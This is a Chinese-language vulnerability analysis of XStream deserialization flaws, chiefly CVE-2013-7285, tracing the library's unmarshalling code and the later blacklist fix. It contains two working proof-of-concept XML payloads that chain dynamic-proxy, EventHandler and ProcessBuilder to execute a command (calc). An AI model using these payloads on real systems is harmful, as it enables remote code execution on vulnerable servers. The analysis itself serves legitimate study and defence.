Java安全之XStream 漏洞分析

Java安全之XStream 漏洞分析

0x00 前言

好久没写漏洞分析文章了，最近感觉在审代码的时候，XStream 组件出现的频率比较高，借此来学习一波XStream的漏洞分析。

0x01 XStream 历史漏洞

下面罗列一下XStream历史漏洞

XStream 远程代码执行漏洞	CVE-2013-7285	XStream <= 1.4.6
XStream XXE	CVE-2016-3674	XStream <= 1.4.8
XStream 远程代码执行漏洞	CVE-2019-10173	XStream < 1.4.10
XStream 远程代码执行漏洞	CVE-2020-26217	XStream <= 1.4.13
XStream 远程代码执行漏洞	CVE-2021-21344	XStream: <= 1.4.15
XStream 远程代码执行漏洞	CVE-2021-21345	XStream: <= 1.4.15
XStream 远程代码执行漏洞	CVE-2021-21346	XStream: <= 1.4.15
XStream 远程代码执行漏洞	CVE-2021-21347	XStream<= 1.4.15
XStream 远程代码执行漏洞	CVE-2021-21350	XStream: <= 1.4.15
XStream 远程代码执行漏洞	CVE-2021-21351	XStream: <= 1.4.15
XStream 远程代码执行漏洞	CVE-2021-29505	XStream: <= 1.4.16

详细可查看XStream 官方地址

0x02 XStream 使用与解析

介绍

XStream是一套简洁易用的开源类库，用于将Java对象序列化为XML或者将XML反序列化为Java对象，是Java对象和XML之间的一个双向转化器。

使用

序列化

 public static void main(String[] args) {
      
        XStream xStream = new XStream();
        Person person = new Person();
        person.setName("xxx");
        person.setAge(22);
        String s = xStream.toXML(person);
        System.out.println(s);
    }

<com.nice0e3.Person>
  <name>xxx</name>
  <age>22</age>
</com.nice0e3.Person>

反序列化

  XStream xStream = new XStream();
    String xml =
                "<com.nice0e3.Person>
" +
                "  <name>xxx</name>
" +
                "  <age>22</age>
" +
                "</com.nice0e3.Person>";

        Person person1 = (Person)xStream.fromXML(xml);
        System.out.println(person1);

结果

Person{name='xxx', age=22}

EventHandler类

分析前先来看到EventHandler类，EventHandler类是实现了InvocationHandler的一个类，设计本意是为交互工具提供beans，建立从用户界面到应用程序逻辑的连接。其中会查看调用的方法是否为hashCode、equals、toString，如果不为这三个方法则往下走，而我们的需要利用的部分在下面。EventHandler.invoke()-->EventHandler.invokeInternal()-->MethodUtil.invoke()任意反射调用。

组成部分

XStream 总体由五部分组成

XStream 作为客户端对外提供XML解析与转换的相关方法。

1. AbstractDriver 为XStream提供流解析器和编写器的创建。目前支持XML（DOM，PULL）、JSON解析器。解析器HierarchicalStreamReader，编写器HierarchicalStreamWriter（PS：XStream默认使用了XppDriver)。

2. MarshallingStrategy 编组和解组策略的核心接口，两个方法：
   marshal：编组对象图
   unmarshal:解组对象图
   TreeUnmarshaller 树解组程序，调用mapper和Converter把XML转化成java对象，里面的start方法开始解组，convertAnother方法把class转化成java对象。
   TreeMarshaller 树编组程序，调用mapper和Converter把java对象转化成XML，里面的start方法开始编组，convertAnother方法把java对象转化成XML。
   它的抽象子类AbstractTreeMarshallingStrategy有抽象两个方法
   createUnmarshallingContext
createMarshallingContext
   用来根据不同的场景创建不同的TreeUnmarshaller子类和TreeMarshaller子类，使用了策略模式，如ReferenceByXPathMarshallingStrategy创建ReferenceByXPathUnmarshaller，ReferenceByIdMarshallingStrategy创建ReferenceByIdUnmarshaller（PS：XStream默认使用ReferenceByXPathMarshallingStrategy

3. Mapper 映射器，XML的elementName通过mapper获取对应类、成员、属性的class对象。支持解组和编组，所以方法是成对存在real 和serialized，他的子类MapperWrapper作为装饰者，包装了不同类型映射的映射器，如AnnotationMapper，ImplicitCollectionMapper，ClassAliasingMapper。

4. ConverterLookup 通过Mapper获取的Class对象后，接着调用lookupConverterForType获取对应Class的转换器，将其转化成对应实例对象。DefaultConverterLookup是该接口的实现类，同时实现了ConverterRegistry的接口，所有DefaultConverterLookup具备查找converter功能和注册converter功能。所有注册的转换器按一定优先级组成由TreeSet保存的有序集合(PS:XStream 默认使用了DefaultConverterLookup)。

Mapper解析

根据elementName查找对应的Class，首先调用realClass方法，然后realClass方法会在所有包装层中一层层往下找，并还原elementName的信息，比如在ClassAliasingMapper根据component别名得出Component类，最后在DefaultMapper中调用realClass创建出Class。
CachingMapper-->SecurityMapper-->ArrayMapper-->ClassAliasingMapper-->PackageAliasingMapper-->DynamicProxyMapper--->DefaultMapper

XStream 源码解析

0x03 漏洞分析

CVE-2013-7285

影响范围

1.4.x<=1.4.6或1.4.10

漏洞简介

XStream序列化和反序列化的核心是通过Converter转换器来将XML和对象之间进行相互的转换。

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器，该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象，而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时，就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法；利用这个机制，攻击者可以构造恶意的XML内容，即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法；最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

漏洞分析

   public static void main(String[] args) {

        XStream xStream = new XStream();

        String xml =
                "<sorted-set>
" +
                        "    <string>foo</string>
" +
                        "    <dynamic-proxy>
" +
                        "        <interface>java.lang.Comparable</interface>
" +
                        "        <handler class="java.beans.EventHandler">
" +
                        "            <target class="java.lang.ProcessBuilder">
" +
                        "                <command>
" +
                        "                    <string>cmd</string>
" +
                        "                    <string>/C</string>
" +
                        "                    <string>calc</string>
" +
                        "                </command>
" +
                        "            </target>
" +
                        "            <action>start</action>
" +
                        "        </handler>
" +
                        "    </dynamic-proxy>
" +
                        "</sorted-set>";
        
       xStream.fromXML(xml);

    }

一路跟踪下来代码走到com.thoughtworks.xstream.core.TreeUnmarshaller#start

public Object start(final DataHolder dataHolder) {
        this.dataHolder = dataHolder;
        //通过mapper获取对应节点的Class对象
        final Class<?> type = HierarchicalStreams.readClassType(reader, mapper);
        //Converter根据Class的类型转化成java对象
        final Object result = convertAnother(null, type);
        for (final Runnable runnable : validationList) {
            runnable.run();
        }
        return result;
    }

调用HierarchicalStreams.readClassType方法，从序列化的数据中获取一个真实的class对象。

public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) {
        if (classAttribute == null) {
        // 通过节点名获取Mapper中对应的Class
        Class<?> type = mapper.realClass(reader.getNodeName());
        return type;
    }

方法内部调用readClassAttribute。来看到方法

public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
    String attributeName = mapper.aliasForSystemAttribute("resolves-to");
    String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
    if (classAttribute == null) {
        attributeName = mapper.aliasForSystemAttribute("class");
        if (attributeName != null) {
            classAttribute = reader.getAttribute(attributeName);
        }
    }

    return classAttribute;
}

其中调用获取调用aliasForSystemAttribute方法获取别名。

获取resolves-to和class判断解析的xml属性值中有没有这两字段。

这里返回为空，继续来看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

为空的话，则走到这里

type = mapper.realClass(reader.getNodeName());

获取当前节点的名称，并进行返回对应的class对象。

跟踪mapper.realClass方法。com.thoughtworks.xstream.mapper.CachingMapper#realClass

 public Class realClass(String elementName) {
        Object cached = this.realClassCache.get(elementName);
        if (cached != null) {
            if (cached instanceof Class) {
                return (Class)cached;
            } else {
                throw (CannotResolveClassException)cached;
            }
        } else {
            try {
                Class result = super.realClass(elementName);
                this.realClassCache.put(elementName, result);
                return result;
            } catch (CannotResolveClassException var4) {
                this.realClassCache.put(elementName, var4);
                throw var4;
            }
        }
    }

找到别名应的类，存储到realClassCache中，并且进行返回。

执行完成回到com.thoughtworks.xstream.core.TreeUnmarshaller#start中

跟进代码

Object result = this.convertAnother((Object)null, type);

来到这里

public Object convertAnother(final Object parent, Class<?> type, Converter converter) {
        //根据mapper获取type实现类
        type = mapper.defaultImplementationOf(type);
        if (converter == null) {
            //根据type找到对应的converter
            converter = converterLookup.lookupConverterForType(type);
        } else {
            if (!converter.canConvert(type)) {
                final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type");
                e.add("item-type", type.getName());
                e.add("converter-type", converter.getClass().getName());
                throw e;
            }
        }
         // 进行把type转化成对应的object
        return convert(parent, type, converter);
    }

this.mapper.defaultImplementationOf方法会在mapper对象中去寻找接口的实现类

下面调用 this.converterLookup.lookupConverterForType(type);方法寻找对应类型的转换器。

 public Converter lookupConverterForType(final Class<?> type) {
        //先查询缓存的类型对应的转换器集合
        final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null;
        if (cachedConverter != null) {
            //返回找到的缓存转换器
            return cachedConverter;
        }
        
        final Map<String, String> errors = new LinkedHashMap<>();
        //遍历转换器集合
        for (final Converter converter : converters) {
            try {
                //判断是不是符合的转换器
                if (converter.canConvert(type)) {
                    if (type != null) {
                        //缓存类型对应的转换器
                        typeToConverterMap.put(type.getName(), converter);
                    }
                    //返回找到的转换器
                    return converter;
                }
            } catch (final RuntimeException | LinkageError e) {
                errors.put(converter.getClass().getName(), e.getMessage());
            }
        }
}

canConvert 变量所有转换器，通过调用Converter.canConvert()方法来匹配转换器是否能够转换出TreeSet类型，这里找到满足条件的TreeSetConverter转换器

下面则是调用this.typeToConverterMap.put(type, converter);将该类和转换器存储到map中。

然后将转换器进行返回。

回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother中，执行来到这里。

  protected Object convert(Object parent, Class type, Converter converter) {
        Object result;
        if (this.parentStack.size() > 0) {
            result = this.parentStack.peek();
            if (result != null && !this.values.containsKey(result)) {
                this.values.put(result, parent);
            }
        }

        String attributeName = this.getMapper().aliasForSystemAttribute("reference");
        String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
        Object cache;
        if (reference != null) {
            cache = this.values.get(this.getReferenceKey(reference));
            if (cache == null) {
                ConversionException ex = new ConversionException("Invalid reference");
                ex.add("reference", reference);
                throw ex;
            }

            result = cache == NULL ? null : cache;
        } else {
            cache = this.getCurrentReferenceKey();
            this.parentStack.push(cache);
            result = super.convert(parent, type, converter);
            if (cache != null) {
                this.values.put(cache, result == null ? NULL : result);
            }

            this.parentStack.popSilently();
        }

        return result;
    }

获取reference别名后，从xml中获取reference标签内容。获取为空则调用

this.getCurrentReferenceKey()来获取当前标签将当前标签。

调用this.types.push将获取的值压入栈中，跟进查看一下。

public Object push(Object value) {
        if (this.pointer + 1 >= this.stack.length) {
            this.resizeStack(this.stack.length * 2);
        }

        this.stack[this.pointer++] = value;
        return value;
    }

实际上做的操作也只是将值存储在了this.stack变量里面。

来到以下代码

Object result = converter.unmarshal(this.reader, this);

调用传递进来的类型转换器，也就是前面通过匹配获取到的类型转换器。调用unmarshal方法，进行xml解析。也就是com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    TreeSet result = null;
    Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
    boolean inFirstElement = unmarshalledComparator instanceof Null;
    Comparator comparator = inFirstElement ? null : unmarshalledComparator;
    TreeMap treeMap;
    if (sortedMapField != null) {
        TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
        Object backingMap = null;

        try {
            backingMap = sortedMapField.get(possibleResult);
        } catch (IllegalAccessException var11) {
            throw new ConversionException("Cannot get backing map of TreeSet", var11);
        }

        if (backingMap instanceof TreeMap) {
            treeMap = (TreeMap)backingMap;
            result = possibleResult;
        } else {
            treeMap = null;
        }
    } else {
        treeMap = null;
    }

    if (treeMap == null) {
        PresortedSet set = new PresortedSet(comparator);
        result = comparator == null ? new TreeSet() : new TreeSet(comparator);
        if (inFirstElement) {
            this.addCurrentElementToCollection(reader, context, result, set);
            reader.moveUp();
        }

        this.populateCollection(reader, context, result, set);
        if (set.size() > 0) {
            result.addAll(set);
        }
    } else {
        this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
    }

    return result;
}

调用unmarshalComparator方法判断是否存在comparator，如果不存在，则返回NullComparator对象。

protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) {
    Comparator comparator;
    if (reader.hasMoreChildren()) {
        reader.moveDown();
        if (reader.getNodeName().equals("comparator")) {
            Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper());
            comparator = (Comparator)context.convertAnother(result, comparatorClass);
        } else {
            if (!reader.getNodeName().equals("no-comparator")) {
                return NULL_MARKER;
            }

            comparator = null;
        }

        reader.moveUp();
    } else {
        comparator = null;
    }

    return comparator;
}

回到com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

获取为空，则 inFirstElement为false,下面的代码comparator变量中三目运算返回null。而possibleResult也是创建的是一个空的TreeSet对象。而后则是一些赋值，就没必要一一去看了。来看到重点部分。

this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);

跟进一下。

protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) {
        boolean inFirstElement = comparator == NULL_MARKER;
        if (inFirstElement) {
            comparator = null;
        }

        SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
        if (inFirstElement) {
            this.putCurrentEntryIntoMap(reader, context, result, sortedMap);
            reader.moveUp();
        }

        this.populateMap(reader, context, result, sortedMap);

        try {
            if (JVM.hasOptimizedTreeMapPutAll()) {
                if (comparator != null && comparatorField != null) {
                    comparatorField.set(result, comparator);
                }

                result.putAll(sortedMap);
            } else if (comparatorField != null) {
                comparatorField.set(result, sortedMap.comparator());
                result.putAll(sortedMap);
                comparatorField.set(result, comparator);
            } else {
                result.putAll(sortedMap);
            }

        } catch (IllegalAccessException var8) {
            throw new ConversionException("Cannot set comparator of TreeMap", var8);
        }
    }

下面调用了this.putCurrentEntryIntoMap跟进查看一下。

读取标签内的内容并缓存到target这个Map中。

reader.moveUp()往后解析xml

然后调用this.populateMap(reader, context, result, sortedMap);

跟进方法查看

  protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
                TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
                    public boolean add(Object object) {
                        return target.put(object, object) != null;
                    }

                    public Object get(int location) {
                        return null;
                    }

                    public int size() {
                        return target.size();
                    }
                });
            }

其中调用populateCollection用来循环遍历子标签中的元素并添加到集合中。

调用addCurrentElementToCollection-->readItem

protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
        Class type = HierarchicalStreams.readClassType(reader, this.mapper());
        return context.convertAnother(current, type);
    }

读取标签内容，并且获取转换成对应的类，最后将类添加到targer中。

跟踪一下看看。大概流程和前面的一样。

一路跟踪来到

com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal

前面获得的DynamicProxyConverter。

这就获取到了一个动态代理的类。EventHandler

com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap中调用result.putAll，也就是代理了EventHandler类的putALL。动态代理特性则会触发，EventHandler.invoke。

invoke的主要实现逻辑在invokeInternal

怎么说呢，整体一套流程其实就是一个解析的过程。从com.thoughtworks.xstream.core.TreeUnmarshaller#start方法开始解析xml，调用HierarchicalStreams.readClassType通过标签名获取Mapper中对于的class对象。获取class完成后调用com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother,该方法会根据class转换为对于的Java对象。convertAnother的实现是mapper.defaultImplementationOf方法查找class实现类。根据实现类获取对应转换器，获取转换器部分的实现逻辑是ConverterLookup中的lookupConverterForType方法,先从缓存集合中查找Converter,遍历converters找到符合的Converter。随后，调用convert返回object对象。convert方法实现逻辑是调用获取到的converter转换器的unmarshal方法来根据获取的对象，继续读取子节点，并转化成对象对应的变量。直到读取到最后一个节点退出循环。最终获取到java对象中的变量值也都设置，整个XML解析过程就结束了。

POC2

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>calc.exe</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

我们第一个payload使用的是sortedset接口在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother方法中this.mapper.defaultImplementationOf(type);

寻找到的实现类为java.util.TreeSet。根据实现类寻找到的转换器即TreeSetConverter。

这里使用的是tree-map,获取的实现类是他本身，转换器则是TreeMapConverter。同样是通过动态代理的map对象，调用putAll方法触发到EventHandler.invoke里面实现任意反射调用。

1.3.1版本无法利用原因

com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

该行代码爆出Method threw 'com.thoughtworks.xstream.mapper.CannotResolveClassException' exception.无法解析异常。

发现是从遍历去调用map,调用realClass查找这里并没有从map中找到对应的class。所以这里报错了。

1.4.7-1.4.9版本无法利用原因

com.thoughtworks.xstream.core.TreeUnmarshaller#start

Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
Object result = this.convertAnother((Object)null, type);

获取class部分成功了，报错位置在调用this.convertAnother转换成Object对象步骤上。

跟进查看一下。

EventHandler的处理由ReflectionConverter来处理的，在1.4.7-1.4.9版本。添加了canConvert方法的判断。

1.4.10版本payload可利用原因

com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert中没了对EventHandler类的判断。

1.4.10版本以后添加了XStream.setupDefaultSecurity(xStream)方法的支持。

com.thoughtworks.xstream.XStream$InternalBlackList#canConvert中

  public boolean canConvert(Class type) {
            return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
        }

添加黑名单判断。

0x04 结尾

篇章略长，分开几部分来写。